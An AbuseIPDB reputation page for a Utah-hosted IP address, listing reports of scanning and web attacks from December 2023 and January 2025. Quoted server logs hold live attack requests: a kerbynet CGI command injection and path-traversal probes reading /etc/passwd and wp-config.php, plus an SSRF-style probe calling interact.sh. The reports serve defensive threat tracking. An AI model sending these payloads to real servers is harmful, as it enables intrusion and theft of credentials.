JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 162.240.148.232

162.240.148.232 was found in our database!

This IP was reported 25 times. Confidence of Abuse is 0%: ?

ISP	Unified Layer
Usage Type	Data Center/Web Hosting/Transit
ASN	AS46606
Hostname(s)	vps-12421883.awaketi.com.br
Domain Name	unifiedlayer.com
Country	🇺🇸 United States of America
City	Provo, Utah

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 162.240.148.232

Whois 162.240.148.232

IP Abuse Reports for 162.240.148.232:

This IP address has been reported a total of 25 times from 9 distinct sources. 162.240.148.232 was first reported on December 8th 2023, and the most recent report was 1 year ago.

Old Reports: The most recent abuse report for this IP address is from 1 year ago . It is possible that this IP is no longer involved in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇩🇪 David Ferneding	2025-01-04 20:05:08 (1 year ago)	Part of large-scale ddos-attack, 1558550 requests from this ip	DDoS Attack Bad Web Bot
🇺🇦 URAN Publishing Service	2023-12-24 19:15:04 (2 years ago)	162.240.148.232 - - [24/Dec/2023:21:15:04 +0200] "GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x50 ... show more 162.240.148.232 - - [24/Dec/2023:21:15:04 +0200] "GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;/root/kerbynet.cgi/scripts/getkey%20../../../etc/passwd;%22 HTTP/1.1" 404 5174 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36" ... show less	Web App Attack
🇺🇸 woof	2023-12-24 19:09:25 (2 years ago)	This IP accessed a banned path "/cgi-bin/rpc" with User Agent "Mozilla/5.0 (Windows NT 6.2; WOW64) A ... show more This IP accessed a banned path "/cgi-bin/rpc" with User Agent "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/44.0.2403.155 Safari/537.36". (ListenCaddy) show less	Bad Web Bot Web App Attack
🇺🇸 woof	2023-12-24 18:40:07 (2 years ago)	This IP accessed a banned path "/cgi-bin/kerbynet" with User Agent "Mozilla/5.0 (Windows NT 6.1; WOW ... show more This IP accessed a banned path "/cgi-bin/kerbynet" with User Agent "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36". (ListenCaddy) show less	Bad Web Bot Web App Attack
Anonymous	2023-12-24 17:33:30 (2 years ago)	Aggressive web scan	Web App Attack
🇨🇿 gszasz	2023-12-24 16:38:00 (2 years ago)	[Sun Dec 24 11:46:37.930508 2023] [authz_core:error] [pid 2991087:tid 2991229] [client 162.240.148.2 ... show more [Sun Dec 24 11:46:37.930508 2023] [authz_core:error] [pid 2991087:tid 2991229] [client 162.240.148.232:52866] AH01630: client denied by server configuration: /usr/lib/cgi-bin [Sun Dec 24 17:37:29.195741 2023] [authz_core:error] [pid 2991087:tid 2991243] [client 162.240.148.232:54682] AH01630: client denied by server configuration: /usr/lib/cgi-bin [Sun Dec 24 17:37:59.657263 2023] [authz_core:error] [pid 2991348:tid 2991397] [client 162.240.148.232:43614] AH01630: client denied by server configuration: /usr/lib/cgi-bin ... show less	Brute-Force Web App Attack
🇺🇦 URAN Publishing Service	2023-12-24 10:04:39 (2 years ago)	162.240.148.232 - - [24/Dec/2023:12:04:38 +0200] "GET /wp-content/plugins/sniplets/modules/syntax_hi ... show more 162.240.148.232 - - [24/Dec/2023:12:04:38 +0200] "GET /wp-content/plugins/sniplets/modules/syntax_highlight.php?libpath=../../../../wp-config.php HTTP/1.1" 404 4993 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36" ... show less	Web App Attack
🇷🇴 INTEQ	2023-12-24 09:55:09 (2 years ago)	Web SQL inject attack from 162.240.148.232	Web App Attack
🇩🇰 buusbudde.dk	2023-12-24 09:49:33 (2 years ago)	[Sun Dec 24 10:49:32.501553 2023] [security2:error] [pid 1719076] [client 162.240.148.232:35270] [cl ... show more [Sun Dec 24 10:49:32.501553 2023] [security2:error] [pid 1719076] [client 162.240.148.232:35270] [client 162.240.148.232] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.4"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "adguard.mimer.buusbudde.dk"] [uri "/backup/auto.php"] [unique_id "ZYf-rJYaU6zuGCiAneA_MQAAAAg"] [Sun Dec 24 10:49:32.839044 2023] [security2:error] [pid 1930998] [client 162.240.148.232:35454] [client 162.240.148.232] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: ... show less	Web App Attack
🇺🇦 URAN Publishing Service	2023-12-24 07:19:47 (2 years ago)	162.240.148.232 - - [24/Dec/2023:09:18:34 +0200] "GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x50 ... show more 162.240.148.232 - - [24/Dec/2023:09:18:34 +0200] "GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;/root/kerbynet.cgi/scripts/getkey%20../../../etc/passwd;%22 HTTP/1.1" 404 461 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36" 162.240.148.232 - - [24/Dec/2023:09:19:46 +0200] "GET /wp-content/plugins/sniplets/modules/syntax_highlight.php?libpath=../../../../wp-config.php HTTP/1.1" 404 279 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36" ... show less	Web App Attack
🇷🇴 INTEQ	2023-12-22 17:24:17 (2 years ago)	Web attack from 162.240.148.232	Web App Attack
🇨🇿 gszasz	2023-12-22 17:10:30 (2 years ago)	162.240.148.232 - - [22/Dec/2023:16:37:34 +0100] "GET /system/modules/alkacon.mercury.template.jsond ... show more 162.240.148.232 - - [22/Dec/2023:16:37:34 +0100] "GET /system/modules/alkacon.mercury.template.jsondemo/elements/jsonapi.jsp?content&fallbackLocale&locale=en&rows=1&uri=http://interact.sh HTTP/1.1" 301 389 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36" 162.240.148.232 - - [22/Dec/2023:16:37:34 +0100] "GET /system/modules/alkacon.mercury.template.jsondemo/elements/jsonapi.jsp?content&fallbackLocale&locale=en&rows=1&uri=http://interact.sh HTTP/1.1" 301 389 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36" 162.240.148.232 - - [22/Dec/2023:18:10:29 +0100] "GET /system/modules/alkacon.mercury.template.jsondemo/elements/jsonapi.jsp?content&fallbackLocale&locale=en&rows=1&uri=http://interact.sh HTTP/1.1" 301 390 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36" ... show less	Brute-Force Web App Attack
🇺🇸 woof	2023-12-22 15:28:53 (2 years ago)	This IP accessed a banned path "/wp-content/plugins/backup-backup/readme.txt" with User Agent "Mozil ... show more This IP accessed a banned path "/wp-content/plugins/backup-backup/readme.txt" with User Agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36". (ListenCaddy) show less	Bad Web Bot Web App Attack
🇺🇸 woof	2023-12-22 15:05:41 (2 years ago)	This IP accessed a banned path "/wp-content/plugins/backup-backup/readme.txt" with User Agent "Mozil ... show more This IP accessed a banned path "/wp-content/plugins/backup-backup/readme.txt" with User Agent "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36". (ListenCaddy) show less	Bad Web Bot Web App Attack
🇺🇸 woof	2023-12-22 14:50:29 (2 years ago)	This IP accessed a banned path "/static/js/../../../../../../../../../../../../../../etc/passwd" wit ... show more This IP accessed a banned path "/static/js/../../../../../../../../../../../../../../etc/passwd" with User Agent "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F". (ListenCaddy) show less	Bad Web Bot Web App Attack

Showing 1 to 15 of 25 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇺🇸 2602:80d:1008::3f

🇩🇪 139.59.150.41

🇧🇩 103.132.221.63

🇺🇸 52.6.232.201

🇮🇳 34.131.68.70

🇩🇪 217.18.191.94

🇧🇪 198.235.24.238

🇹🇼 198.235.24.49

🇲🇽 189.217.130.86

🇬🇧 185.247.137.13

🇺🇸 159.223.130.58

🇳🇱 158.94.210.138

🇮🇳 122.166.253.226

🇵🇭 103.186.139.149

🇯🇵 103.143.72.165

🇱🇹 81.30.98.44

🇺🇸 52.167.144.233

🇬🇧 217.154.38.181

🇨🇦 207.219.221.101

🇯🇵 185.46.119.189